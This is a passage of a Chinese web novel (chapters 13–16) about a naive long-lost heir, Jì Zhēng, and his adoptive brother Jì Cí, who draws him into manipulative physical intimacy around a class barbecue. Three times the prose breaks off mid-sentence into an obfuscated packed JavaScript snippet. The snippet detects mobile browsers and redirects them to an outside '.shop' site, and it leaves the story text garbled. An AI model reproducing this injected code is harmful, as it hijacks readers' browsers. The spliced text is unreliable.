季珣也看过外卖软件上沐沐蛋糕的价格，手里的勺子停了下来，惭愧地问：“是不是让你花了很多钱？” 季辞没回答，“你们班烧烤是下周放假的时候么？” 季珣不知道他为什么问，但烧烤活动的事，已经被爸爸责备过了，局促地捏着手里的勺子，“嗯。” 季辞的眼神柔和，带着安抚和鼓励，“你开开心心参加活动就行，蛋糕我帮你准备。”他顿了顿，“你虽然不是从小在季家长大，但改变不了你是我弟弟的事实。” 傍晚到现在，埋了一肚子的杂缠不清的情绪，骤然被这些话语搅动。 季珣低下头，重新看向蛋糕的瞬间，鼻尖一涩。 他没有不管自己。 空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154571|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气安静下来。 这片被落地台灯照亮的餐桌，两个人挨坐在一起。 季辞看到，男生低着头，露出头顶一个厚密的发旋，削薄的肩膀在细微地颤动。 几秒后，他才抬起头，眼尾细微地发红，声音也涩涩的，“哥……” 他是季达强的亲生儿子，但他和季达强完全不一样。他什么都不懂，单纯天真得就像一张白纸。 莹润的眼睛傻傻的看着人，把所有心思都袒露无疑。 季辞从来没有见过这么容易了解的人。 不但容易了解，还容易拿捏。 就在自己眼前，他又把头埋下去，用力咬着牙根，极力忍耐着情绪，“哥，我不该跟你生气。” “我没有生你的气。”季辞一顿，“只是有点伤心。” 他神情惊惶了一瞬，抬起那张小巧的面容，小心翼翼地搭住季辞的手腕，用近乎讨好地小声喊：“哥，对不起，能不能不要生气？” 季辞笑了下，“那你亲我一下吧。” 亲一下？ 季珣没有听懂，愣愣地看着他侧过脸，把脸颊冲着自己。 亲他……么？ 季珣注视着面前的男生。 眉眼俊朗，轮廓清晰硬朗，皮肤是养尊处优的白皙，鼻梁在暖意氤氲的灯光中，挺拔削直，就像一柄窄窄的刀脊。 看季珣不动，他蹙眉，“怎么了？” 季珣赶紧摇头，“没事。” 伸手轻轻地扶住他的手臂，偏头往前靠近。 面前的男生耐心地杵着手臂，等待。 他的侧脸在季珣视线中一点点放大，挺直的鼻梁，薄唇鲜艳湿润。 脸颊上的小绒毛都看起来柔软细腻。 皮肤上隐约地沾着好闻的气息，干净而清冽。 仿佛要亲吻一缕月光。季珣的心跳有些快，泛起层层叠叠难以言喻的悸动。 克制着的呼吸，把唇贴近他的脸颊。 就要亲到他的时候，他突然转头，看向自己。 季珣睁大眼，本能地停下来。 彼此的唇停在吐息相接的距离。 季珣不知道他为什么要这样，但思绪好似凝固。 起伏在两个人之间的呼吸，牵引，勾缠着，像是化为实质，让人拉不开距离。 谁是急促，谁是平缓。 季珣想起，那天他在自己耳边说话，落下的吐息是炙热的。 忍不住想，自己此刻的呼吸是不是也很热？ 蓦然间，季珣回过神来，想往后避开。 被季辞抬手的固定住肩膀。 他手指很有力，按得季珣有点疼。 深夜的别墅阒然无声，黯淡的光线粘稠地铺在餐厅里。 季辞停留在自己脸上的目光，带着湿润的气息，静静地，缓慢地移动。 那纤长卷曲的长睫，轻忽地抖动，像是随着视线一起，扫过自己的眼睑、鼻梁、脸颊，乃至脖颈…… 目光缓缓游弋了一圈，他露出温和的微笑，将空气里的粘稠驱散。 握在肩膀上的手指松开，揉了揉季珣的后脑发丝，语调温柔：“只是逗逗你的。” “赶紧吃完去睡觉吧。” 说完，他离开座位，向二楼走去。 注视着季辞的身影消失在楼梯，季珣才收回眼，一动不动地默默看着桌上的蛋糕。 无法控制地想，如果，刚才亲到他的话，会是什么样的感觉？ 13. 第 13 章 趁着放假，趁着二模成绩还没出来，学习的压力还没如同巨石般砸下来，223班的烧烤活动如期举行。 早上，季珣早早起床，收拾好自己。 季辞的房间门还关着，但季珣问过王叔，知道他还没起床。 走到岛台前，烧水，闷蒸……学着季辞的模样，冲泡咖啡。 虽然他还是不习惯喝苦苦的咖啡，但哥哥喜欢喝。所以这段时间，只要知道季辞还没走，他就会冲好一杯。 今天的班级活动，哥哥说，让自己开心参加，他会准备。 季珣不知道他要怎么帮自己准备，但心里都是雀跃和期待。 把弥散着浓郁香气的咖啡放好在餐桌上，季珣才背着书包出门。 223班定下来的烧烤地点并不远，就在南城郊区的一座庄园，提供烧烤的用品和场地，需要自己准备食材。 季珣坐公交到庄园，刚走进掩映绿植的大门，就听到里面热闹的声音。 “啊啊，快点把香油给我，牛肉要焦了！” “快开团啊！这么好的机会你不开？你玩不玩！” 听着这些开心的声音，季珣也被感染得开心起来。 期待了那么久的集体活动，现在，自己也可以像普通的学生一样，和大家一起玩，一起笑。 这处山庄并不大，今天只有223班这一伙来烧烤的。 碧绿的草地上，同学们一堆堆围着烧烤桌，欢笑打闹。空气里弥漫着烟火和食物的香气。有一对班里偷偷谈恋爱的，单独在树荫下散步谈心。 李楠从烧烤架跑过来，给季珣递来一串烤好的牛肉，“尝尝，香得鼻子都掉了！” 牛肉烤得焦香，还沾了五香粉，香气扑鼻，季珣接过来咬了一口，真的烧得很好吃。 “走，去那边烧烤。” 季珣跟李楠一起围到烧烤桌旁。 季珣从来没有参加过集体活动，只觉得和同学这样坐在一起，听大家聊天，真的好开心。 正吃着，那三道刺耳尖锐的声音又一次传来。 “某些人真的好意思么？”是蒋恪知的阴阳怪气。 “两手空空地过来，只想吃别人的？” “你说这少爷到底是厚脸皮，还是不要脸啊？” “你看他穿的，普通得到底像是豪门少爷模样，别都是他自己吹出来？” “不是答应大家准备沐沐的蛋糕？他的蛋糕呢？准备了空气是吧？” 三个人毫无顾忌地嘲讽，让周围的同学纷纷看了过来。 刚刚季珣进来的时候，没有太多人注意到，此刻，听到择校生们的阴阳怪气，才发现，季珣没给同学们准备食物。 一时间，落在季珣身上的眼神都有些微妙。 季珣霎时手足无措，“没有，我……我准备了。” 要怎么解释哥给自己准备了东西？要告诉大家自己有个哥哥么？ 蒋恪知满眼嘲讽，“准备了？在哪里？” “集体活动，什么都不带，只想白嫖？” 班长何响发现这边的吵闹，走过来，“怎么了？” 听着蒋恪知严厉的谴责，季珣窘迫无比，“班长。” 何响讲公道话，“其实，大家并不是非要你准备什么高档的东西，不过，既然是班级聚会，就需要每个人都参与进来。毕竟，全班五十个人，谁都不准备的话，大家也吃不开心，玩不开心。” “班长，我准备了。” 何响意有所指地看了眼他的手，“你准备了么？” “只是还没到。” 旁边三个人大笑。 “这人到底在说什么啊？” “他准备了？在哪呢？我怎么没看到？” “虚空准备是吧，那我们也会说，我们今天不但给班里的人准备了奶茶海鲜，还准备了大闸蟹、三文鱼。” 蒋恪知真的越来越讨厌这个转学生。 刚看到就觉得他身上带着的“土气”，和南城格格不入。说着家境好，可是抠门得没一点豪门的样子。 最让人厌恶的是，明明是个不起眼的丑小鸭，竟然还敢肖想季辞那只白天鹅。 蒋恪知从来不掩饰对季辞的喜欢。 蒋家在南城也是豪门。他相信，他才是最有资格靠近季辞的。 但这个土土的转学生竟然也敢对季辞有想法，让蒋恪知非常不爽。 他觉得，有必要让这个转学生看清自己几斤几两，到底配不配接近季辞。 所以他处处针对，故意挑事，让季珣给大家准备沐沐的蛋糕，就是想让这个抠门的少爷狠狠地出点血。 谁知道，他连这么点小钱都舍不得出？简直让人笑掉大牙。 同学们和班长都用质疑的目光盯着自己，季珣窘迫得手心冒汗，“我真的准备了。” 何响也不想影响到大家好不容易得来的出游机会，叫停那三个择校生的大声讥诮，无奈地对季珣说道：“这次没准备就算了，先玩去吧。” 重新和李楠围坐到烧烤桌边，季珣想着哥哥给自己准备东西的事，只觉得越来越忐忑，吃东西都没了心情。 虽然，他真的很相信哥哥，可是，那天他没有说明，给自己准备了什么。而且，他都没问过自己在哪里活动。 他会不会只是随口一说？ 会不会把这件事忘记了？ 加快脚步，一片热闹中，季珣突然听到了那三道熟悉的声音。 “那个转学生脑子里想什么，居然跑去看季辞？也不看看自己是什么东西。” “他不会是想追季辞吧？我yue了！被季辞知道，估计是季辞都要嫌晦气的程度。” “真是毫无自知之明，就他那个样子，谁会喜欢。” “季辞到底喜不喜欢男生啊？” “听说他之前和成立那个男生走得挺近的，应该喜欢。” “但没看到他后面和哪个男生接触啊。” 蒋恪知不悦地哼笑，“拜托，季辞怎么会在意那些货色。” 那三个人放肆的议论，时不时又要把季珣拎出来，一顿阴阳怪气。 正在这时，有同学往庄园大门看去，“咦，那边有辆印着沐沐标志的商务车。” 不少人往那边看去，果然看到一辆装饰精美的印着沐沐标志粉色的商务车开了进来。 有人疑惑地问：“不会是季珣准备的沐沐蛋糕吧？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154572|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 整个草坪静了静。 三个择校生转过头，盯着季珣，蒋恪知的眼睛里更满是讶异。 穿着沐沐制服的店员下车，过来确认了季珣的名字后，解释是季珣哥哥帮忙订好的甜品台，并且让送到这个农庄。 整个223班顿时炸开了锅。 “我去，这是真沐沐啊？” “季珣难道不是说说而已，是真的给我们准备了沐沐的蛋糕？” “不是，这还带了桌子呢，这是要摆甜品台么？” 沐沐是家高档蛋糕连锁品牌，穿着西装制服的服务员动作利落地开始摆甜点台。 折叠长桌打开，铺上雪白的刺绣蕾丝桌布，最上面一个三层的蛋糕，装饰着巧克力和水果，比那晚季辞给自己带回来的还要精美。 中层是浅杏色的慕斯和，点缀着车厘子和草莓，还有缤纷多彩的糖珠。最下面是各种口味的纸杯蛋糕，每一个都插着卡通图案的小旗子，可爱又精致。 左右两边还有马卡龙、曲奇、翻糖，各种各样的甜品和装饰。 整个甜品台布置在眼前，美好得就像一个梦境，哥哥给自己准备的梦境。 223班简直炸了。 “哇，摆台好漂亮啊，不愧是沐沐家的蛋糕。” “呜哇，好多甜品款式，连最火的乳酪杯都有！我每次去都买不到。” “三层的甜品台，我真第一次见，居然还送到这么偏僻的农庄来。” 有同学跑过来，兴奋地问季珣：“季珣，真的是你哥哥准备给我们班的么？” 季珣能猜到，哥肯定花了很多钱。但更心虚的是，他竟然没有避忌地让同学知道自己有哥哥。 “嗯，大家随便吃。” 草地上一片沸腾。 “哇，季少爷大气！” “太给力了！咱班有豪门就是好！” “我刚就看着这甜品台流口水了！” 甜品台顿时被围了个水泄不通。 看到旁边，蒋恪知，还有那两个择校生脸色臭得像茅坑里的石头，不合群地站在旁边，李楠只觉得浑身说不出的舒畅。 这段时间老是看这三个人老讽刺季珣，活该吃瘪，对季珣说道：“没想到你还有个哥哥，怎么之前没听你说过？” 季珣心虚地解释：“你没问，我就没提。” 李楠苦恼地皱着脸，“不过，感觉你哥对你很好啊，给你准备这么豪华的甜品台。” 李楠的话让季珣心里好像绽开了一个小小的花苞，声音轻了轻，“我哥对我很好，教我做题，还给我买蛋糕，冲咖啡。” 李楠咬牙切齿，“同样是哥，差距那么大。我也有个亲哥，但我哥只会教训我，敲我脑袋，抢我的零花钱。真是气死了！” 李楠的哥哥是这样么？ 季珣眼前浮现出季辞那双漆黑的眼睛，打量般看着自己，然后露出一抹戏谑的笑意。 他握住自己的脖颈，细腻的指腹摩挲在搏动的血管上，仿佛要汲取血液里的热量。 他故意突然转过头，让自己差点亲到他的唇。 近在咫尺的双唇，颜色鲜艳，让人情不自禁地想象，它的柔软和湿润。 14. 第 14 章 那手指、嘴唇还有气息，好似也探进了心里，勾起一串串涟漪。 看着同学们兴奋地围绕着甜品台，吃得又聒噪又热闹。 季珣突然想知道哥现在在干嘛，可惜自己没有手机。 几个同学端着甜品盘子，狗腿地凑过来问，“珣哥，冒昧地问一下你这个甜品台花了多少钱啊？” 突然间，连称呼都换了。 季珣摇头，“我哥给我准备的，我也不知道多少钱。” 几个人热闹地议论起来。 “你随便算啊，沐沐家的东西均价一百，这里有一百多份，小五位数出去了！季珣，你哥哥真大方啊！” “现在还有质疑季珣是豪门贵公子么？” 同学一拍大腿，“我就知道！珣哥平时朴实点只是为了和咱们打成一片！” “那可不！包豪门！珣哥，嘻嘻，我就想问问咱哥还缺跟班么？我愿为哥哥鞍前马后！！” 季珣被这相声似的对话逗乐，忍不住笑了起来。 转学生转到223班，总是缩在后面，话也少得可怜，大家都没怎么看他笑过，这一刻，他微垂着睫毛，弯起眉眼微笑，发现他还挺可爱的。 “珣哥以后别这么低调，真的，就你这家世，这颜值，这性格，高低也可以竞争一下校草吧。” “是啊是啊，我觉得季珣很帅，不比243班的季辞差。” 季珣知道，同学们是在吹捧自己。自己怎么可能比得上季辞。 但是，同学们提到自己和季辞还是让季珣心里暗暗地开心。 是不是，自己离哥哥并没有那么远? 没有人知道的哥哥，好像变成了，季珣心里一份隐秘的喜悦。 就仿佛，哥哥是自己私藏的珍宝，只能被自己一个人看到。 欢声笑语中，那道尖锐的声线又传来了，“不就是甜品台，不至于吧。受了多大的恩惠啊。” 蒋恪知皮笑肉不笑地插着裤兜，站在旁边，“看出来了，季少爷开始忙着收买人心了。一模把咱们班平均分拉成全校最低，二模又要往死里坑老张？” 有同学听不下去，出声替季珣回怼：“老蒋，季珣挺努力的，人家可能只是刚来，不适应三中的教学进度，你没必要这样讽刺吧。” 蒋恪知一脸嘲讽，“努力在哪里？我只看到他不要脸地追着243班的季辞跑！还趁体育课跑去找人家，可惜啊，人家看都不看他。” 季珣没想到蒋恪知又重新提起体育课的事，正觉得心里发慌。 班里一个性格活泼的女生走上前，冲蒋恪知瞪眼道：“不要脸是你吧！我知道你想追人家学神，看到有人靠近学神就一肚子酸水。不过，你酸也没用，人家季珣认识季辞。” 季珣心头一紧。 周围的同学也都是满脸疑惑。 “季珣认识季辞？” “不知道啊。” 季辞是三中的校草学神，季珣是刚回南城的转学生，两个人八竿子打不着，怎么会认识？ 看到蒋恪知发愣，女生弯起眉眼，“看人家性格腼腆，就会逮着人家欺负！我告诉你，人家季辞和学神住同一个小区，清源山庄！” 季辞住别墅小区清源山庄是八卦博里曝光过的。 蒋恪知脸色霎时变了变，诘问：“你怎么知道！” “上次我去教作业，听到243班的班主任王灿和别的老师提了一嘴。” 周围的同学都纷纷来问。 季珣只能承认自己住清源山庄。 看到蒋恪知一脸憋闷的模样，女生乐得笑出了声，“人家是认识的邻居！轮得到你这作精来多嘴么？” “你！”蒋恪知脸色臭得宛如长满霉斑的砖头，“你敢这样说我？” 女生冲他不屑地皱了下鼻子，“平时就老看到你笑人家，人家没招你没惹你，我看你才是最不要脸那个！” 周围传来其他同学的议论。 “这个择校生真的超级无聊，整天只会盯着季珣，说人家成绩不好。” “呵呵，他自己不也就是那个鸟样。” “不会真以为自己和季辞一样，家世优越，成绩优异吧。” 蒋恪知气得快疯了，“林小小！” 两个朋友看他情绪失控，赶紧拉住。 和林小小互瞪了半天，蒋恪知转头，把怨怼的目光投向季珣。 这人分明是成心的！ 平时故意装出一副寒酸节俭的模样，现在却拿着沐沐的蛋糕来班里收卖人心？ 表面上老老实实的，不说话，实则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154573|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意隐瞒和季辞是邻居的事，让自己在全班同学面前丢人。 怎么会有这么阴险的人！ 住清源山庄又怎么样？ 他配靠近季辞么！ 班长何响看事态升级，出声镇压，“还能不能好好玩了！现在是高三，抽时间出来是让大家放松心情的，不是来这里吵架的。” “不玩就滚回家看书去！” 班长发话，同学们都散开来，各玩各的。 蒋恪知依旧盯着季珣，难以置信地质问：“你跟季辞是邻居，你们认识？” 李楠知道季珣性格软，不想他继续被蒋恪知，拉着他就想走，“烤肉去，别理这个傻逼。” 却没有拉动。 平时总低着头，腼腆沉默的男生直视着蒋恪知，垂在腿边的手指紧张地蜷了又蜷，却还是鼓起勇气，用从未见过的冷沉声线看着蒋恪知，说道：“是，我和季辞住同一个小区，你是不是很嫉妒？嫉妒也没用，你别想靠近他！” 实在太不像他会说出的话，李楠和蒋恪知一起愣了愣。 然后，蒋恪知的瞳孔骤然收缩，近乎尖叫，“你……你说什么！” “我说，你别想靠近季辞。”说完，季珣沉着脸拉着李楠快步走出了蒋恪知的视线。 头一次看到蒋恪知气成这样，李楠简直爽麻了，连连拍在季珣肩膀上，“干得漂亮！那几个择校生就是欺软怕硬，以后你就要这样强硬点，别让他以为你好欺负！” 从小到大都在为生计发愁，季珣真的很少和人这样叫板。 重新在烧烤桌边坐下，才觉得紧张的心情稍稍平复下来，冲李楠挤出一个生涩的微笑。 原本，他只想按照爸妈和哥哥的交待，安安静静地读完高三，努力考上一所还不错的大学，找一份能够养活自己的工作。 可刚刚那一刻，季珣突然对那个叫蒋恪知的男生生出了鲜明的厌恶。 因为，季珣突然意识到，蒋恪知这样恶毒的针对自己，是因为他喜欢季辞。 可是，季辞是自己的哥哥，是自己珍藏的宝物！ 蒋恪知凭什么想得到他？ 他不想看到蒋恪知靠近哥哥。 因为哥哥是那么优秀，就像一枚耀眼的星辰。 蒋恪知，不配。 15. 第 15 章 下午的活动，季珣身边一直围绕着同学，所有人都像是重新认识这位班里的转学生一般，热情又好奇地凑过来。 “要不要吃烤土豆？这串烤得特别好。” “谢谢。” “吃什么土豆，吃点牛肉串啊，卤蛋家的牛肉堪称一绝，可不是学校餐厅能比的。” “啊，好的。” “季珣季珣，要不要一起和我们一起三排？包C包上分的。” 季珣只能抱歉地笑笑，“不好意思，我……不会玩，也没手机。” “这么自律么？手机都不玩？” 转学生的眼睛是圆圆的杏眼，双眼皮层叠清晰，让人想到娇嫩的花瓣。 他看人的时候，眸光闪动，仿佛总带着羞怯，声音也软软的，“一直没买，我看你们玩就好。” 傍晚时分，天气凉了下来，223班的烧烤活动结束。 上学期还有一点喘息的时间，下学期恐怕就只能彻底淹没在书山题海中。 全班一起打扫现场，然后各自回家。 离开山庄的时候，季珣才重新见到蒋恪知。 男生站在树下的阴影里，用怨怼的目光盯着自己。 季珣加快脚步离开，爬上公交，才觉得心底的寒意散去。 公交车往清源小区驶去，季珣靠着窗户，握着手里可爱的小猫挂件，看着窗外渐次亮起的霓虹。 今天一天，季珣被全班同学围绕在中间，和同学们聊了好多。 他从小到大，还从没有感受过这样如同众星捧月般的感觉，被大家接纳，被大家喜欢。 此刻想起来，还是觉得很开心。 这一却，都是因为哥哥为自己准备了那个梦幻般的甜品台，让自己兑现了对同学的承诺。 迫不及待地想要给哥分享今天的经历，季珣的心好似已经飞回了家里。 推开熟悉的大铁门，季珣走进家里，四处张望，便听到泳池方向传来哗哗的水声。 这个家，只有季辞会游泳。 今天，哥没有出门。 仿佛在这深秋的寒夜里接住了一缕阳光，季珣心中都是欢喜，赶紧往花园后的泳池跑去。 月光与廊灯的交织下，清澈的泳池泛着粼粼的银蓝色波光，和池壁的马赛克瓷砖、岸边复古铜灯的暖黄光晕一起，晕出一片朦胧又奢靡的夜。 水池里，一道修长的身影，随着双臂节奏地舒展，快速分开水线，往前游去。 上次，季珣并没有注意到，此刻，站在泳池边才清晰看到，他有一具健康而漂亮的身体。 肩背的肌肉紧实却丝毫不显粗犷，脊背绷出流畅利落的线条，被池水打湿的肌肤冷白，仿佛就要和月色融为一体。 一时松怔在泳池边。 站了一会，游泳的人注意到了这里，侧头扫来一眼，随后低头闷到水下。 季珣看他游泳就是时而入水，时而出水，原本没有想其他。 可是水面上的涟漪渐渐平复，直至恢复彻底平静。季辞依旧没有从水中出来。 哥呢？ 季珣疑惑又紧张，忍不住往前走向泳池。 慢慢看清泳池全貌，但没有人。 季辞呢？ 季珣有些惊慌，走到泳池边想仔细地寻找。 一片水花扬起，洒在他脸上。 季珣慌张地闭起眼睛，往后退开，但还是被水花溅了一脸。 再眨动着长睫，抬起眼的时候，他看到季辞已经出现在池边。 他单手扶住池岸，水珠顺着他的鬓角、胸膛滑落，没泳池。 他抬手抹了把水，看向季珣的时候，眼底晃动笑意，“看什么呢？” 映着泳池的波光与远处的灯火，让季珣的心脏仿佛被无形的手握了一下，慌乱地回答：“我在这里等你，谢谢哥给我准备的蛋糕。” 季辞撑着池边爬上岸，抽过旁边搭着的大块浴巾，擦拭着身体上的水，看着季珣眉眼间浮起笑意，“你是我的弟弟，我为你做什么都的应该的。所以，那个甜品台你喜欢么？” 我为你做什么都是应该的。 季珣觉得心脏像是放进温水里滚了一遍，几乎不敢看他的眼睛，小声回答：“我喜欢，我很喜欢。” “你喜欢就好。” 季辞走进更衣室，再出来的时候，已经换好干爽的居家衣服，用毛巾揉着头发随口问季珣：“烧烤好玩么？” 季珣跟在身边，和他一起往客厅走去，“很好玩，和同学们变熟了很多，大家都对我很好。” 他温和微笑，“不错。” 季珣发愁，“可是也有人不喜欢我。” “是什么人？” “他叫蒋恪知，是我们班的择校生，他好像……对我有些误解。” 他安慰：“不需要被所有人喜欢，只要自己在意的人也在意自己就好。” 只要自己在意的人也在意自己。 那自己在意的人是谁？ 季珣漏过些许余光，看向身边的高大身影，“嗯，我知道了。” “知道的话，那就睡觉去吧。” 季珣回过神，才发现自己已经不知不觉地跟着他走到二楼，他的房间门口。 从一楼到二楼的楼梯是那么短暂。 面前，高大的男生带着纯粹的疑惑目光，“怎么了？还有事要和我说么？” 季珣舍不得和他分开，却笨拙地不知道自己还能说什么。 走廊里静了静。 “没事我去休息了。” 见他转身，季珣无意识地揪住他的衣摆，急切地喊：“哥。” 一个字后便卡壳在那里，不知道自己要说什么。 季辞注视着面前少年的发旋，轻轻地抬了下唇角。 季家的真少爷竟然是那么单纯的一个人，所有的心思都写在脸上，一心一意地把自己当哥哥。 假如有一天，他发现自己的 季珣知道不找个借口的话，他就要去睡觉了。脑子里却一片空白，只能低着头，用手指恋恋不舍地纠缠他的衣摆。 片刻后，听到他若无其事地问：“是不是又有不会做的题？” 对，让他给自己讲解题目，或许就能和他多待一会。 季珣懵懵地点了点头，“嗯，有一个题不会。” “那去把习题拿来。” 说完，季辞越过房间，走向走廊尽头的小客厅。 季珣走进房间，拿了一本最近在做的习题，走出房间。 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这片笼着朦胧灯光的空气静了片刻，季珣感觉到他的手臂从自己身后绕过，握住自己腰侧，带着笑意的声音落下来，“既然听不清的话，要不你就坐到我腿上来。” 坐到他腿上？ 季荀狐疑地仰起脸。 季辞压下眉梢，神情不满地诘问：“是不是不听哥的？” 季荀赶紧摇头，“我听。” 季辞命令：“那就坐到我腿上来。” 季荀不知道他为什么要让自己坐到他腿上，却感觉到呼吸和心跳都有些乱。只能扶着桌子往他身边靠近，侧坐到他腿上。 但他还不满意，扶了下季珣的腰，“坐正。” 季荀只能□□，跨坐在他腿上。 两道有力的手臂从身后环住季珣的腰，收紧。 温热的体温混合着湿气包裹而来，季荀的背脊紧密地贴进他胸口，清晰地感觉到身后宽阔的胸膛和胸膛里稳健的心跳。 亲密无间，毫无芥蒂。 身后的人低下头，细腻的皮肤蹭过脸颊，混合着热息的低沉声线钻入耳廓，“刚才讲的听明白了么？” 一阵如电流般的细微酥麻蹿过，季珣的心跳砰砰作响，稍稍回头，“哥，我……” 他看着眼前的习题册，像是全身心地专注在讲解题目上，“这种题目，公式必须运用得非常熟练，考试的时候，没有时间让你去推导。” “我知道了。” 属于季辞的气息浓郁而清晰。只是微微偏头，他挺拓的眉骨，微敛着的深邃的眼睛，还有刀脊般笔直的鼻梁便尽数落入视线余光。 往下是唇。 鲜红的唇很湿润，唇珠饱满，柔软地抿了抿。 他懒散地问：“看你真的一点也不专心？” 季珣这才发现自己竟然在他教自己做题的时候走神了，低下头，热着脸慌乱地解释：“哥，我没有，我只是……” 想找借口，可是完全不擅长撒谎，脑子里什么词都想不出来。 他带着笑，“既然这么不专心。”思考几秒，凑到季荀面前，轻声问：“要不要……我亲你一下？” 16. 第 16 章 季荀懵懵地抬起头，触碰到他的视线，看到他唇畔浮起笑意。 哥要亲自己么？ 季珣的心跳在一瞬间快得几乎看不见。 他给自己蛋糕的那天，他也让自己亲他。可最后变成了玩笑。 今天也是玩笑么？ 他为什么要亲自己？ 李楠说，他的哥哥只会骂他，抢他的零食。 那自己的哥哥呢？ 季珣从来没有过哥哥，不知道哥哥和弟弟到底什么样。 可视线却不自觉地落在了他的唇上。 鲜艳的唇如同枫叶般的颜色，沾着湿润的水迹，唇珠是一个清晰的微小凸起。 他张口问：“有没有人亲过你？” 季荀摇头，“以前，我没有哥哥，也没有爸妈，身边连个朋友都没有。” 季辞笑了下，“小可怜。” 然后，没有什么征兆地侧过头，凑近。 季荀条件反射地闭上眼睛，偏头避开。 他顿住，“不是不怕我？” 季荀一点点睁开眼，“我没怕。” “那你转过来坐。” 见人懵着不动，他伸手过来，隔着季珣的衬衫在侧腰轻轻一捏，沉声催促，“快点。” 季荀只能按着桌面，调换方向，重新跨坐在他腿上。 手没地方放，只能局促地垂在腿上。 面对着彼此，这样近的距离，对方面容上的一切都清晰可见。 对面的人似乎也在打量自己，带着忖度的视线缓缓掠过，仿佛掀起空气里的层层涟漪。 涟漪勾动呼吸，拨乱心跳。 看到季辞侧头靠近，季珣闭上眼睛。 静谧的空气里，呼吸交错间，季珣的眼睫不自控地颤抖。 然后，感觉到柔软温热的唇贴到了自己眼睑上。 眼睑很薄，热度立时穿透，渗入那些细小的青色血管中，仿佛将要灼伤皮肤。 呼吸一乱，手指忍不住紧紧攥住自己的裤子。 若有似无的亲吻，像蜻蜓点水般，从眼睑移到脸颊。 最后，落在了耳根。 酥麻得让人忍不住想瑟缩躲避，可随之而来的意味不明的悸动，又让人想要感受更多。 季辞看得清清楚楚，坐在自己腿上的男生闭着眼，呼吸凌乱地颤抖着眼睫，无意识地抬起尖细的下巴，像在渴求自己的怜爱。 一个失去父母保护的孤儿，常年在乡下过着吃不饱穿不暖的贫瘠生活，皮肤虽然不算白皙，但细看很漂亮。 是那种季辞最熟悉的漂亮。 他遗传了苏曼的大眼睛，扇形的双眼皮层叠如同花瓣，黑眸澄澈。看着自己时，总是带着委屈和羞怯。 鼻梁则和季达强的一样窄挺，鼻尖小巧，微微翘起。 唇色偏淡，在自己怀里，局促地咬着唇肉。 他是季家真正的少爷，原本应该对自己占了他的家，占了他的父母心存芥蒂。 但他笨得很，一心把自己当成哥哥，渴求自己的爱护，压根不知道自己在对他做些什么。 如果自己再过分一些，彻底摧毁他想象中的那个哥哥。 他会怎么样？ 是不是比现在还要委屈可怜？ 是不是会难过得哭出来？ 不知道为什么，他虽然笨拙怯懦，但季辞还没有看到他哭过。即便差点被季达强扇嘴巴的那天，他都没有哭。 空气静谧，起伏着彼此交错的呼吸。窗外，秋日夜风的呼啸模糊地传来。 季珣的心跳得很快，感觉到他亲过自己的耳垂后，没有离开。 张口，动物般用牙尖啮咬了一下。 季珣猝不及防，细细地抽了口凉气。 继而，又感觉到奇异的刺激。 危险而未知，让人的心脏怦怦作响，连流淌在血管里的血液都开始发烫。 面前，优秀的男生就像一片高悬天际的月，是过去那个在生活泥沼里挣扎的季珣的触不可及。 但现在，因为是自己的哥哥，他来到身边，拥护着自己。 带着热度的吐息离开耳尖，空气也好似凉了下来。 季珣一点点睁开眼，看到季辞正注视着自己，眼睛有些细微的发红，眸里浓墨翻涌。 片刻平复后，他抬手，用手指拨开季珣的额间发丝，弯唇笑了笑，“弟弟真乖。” 干爽的手指穿过发丝，季辞收回手，“很晚了，去睡觉吧。” 季珣点头，乖乖从他腿上下来。 季辞站起身，走回房间。 高大的身影消失，季珣凌乱的心跳也跟随沉下来，怅然若失地塌下肩膀，靠着手臂趴到桌上。 刚才的拥抱和亲吻真的很温暖。那是过去十八年从未感受过的，叫血液和脉搏都跟随心跳一起，变热。 将过往蜷缩在那间小仓库里的孤独和寒冷，一起驱散。 这就是哥哥么？ 失神地看着洒落的黄色灯光，指尖在桌面上划着无意义的线条，季珣忍不住地期待。 期待哥哥还会带给自己怎样从未感受过的悸动。 - 收假来到学校的第一天，二模的考试成绩就公布了出来。 依旧是放在课桌上的成绩条。季珣看到自己的语文和英语小有提升。 但数学，直接上升到了102。 对于三中这样的重点高中来说，这个分数绝对不算高，但对季珣来说，这是最真切的鼓励。 自己也和其他学生一样，可以做到，可以去靠近那个关于未来的梦。 正看着手里的成绩条，又感觉到了尖针般带着寒意的眼神。 侧头，看到是蒋恪知。 烧烤那天，蒋恪知差点气疯了。 转学生就因为和季辞住一个小区就那么嚣张？ 除了家境外他还有什么？他不会以为季辞会看得到上他吧？ 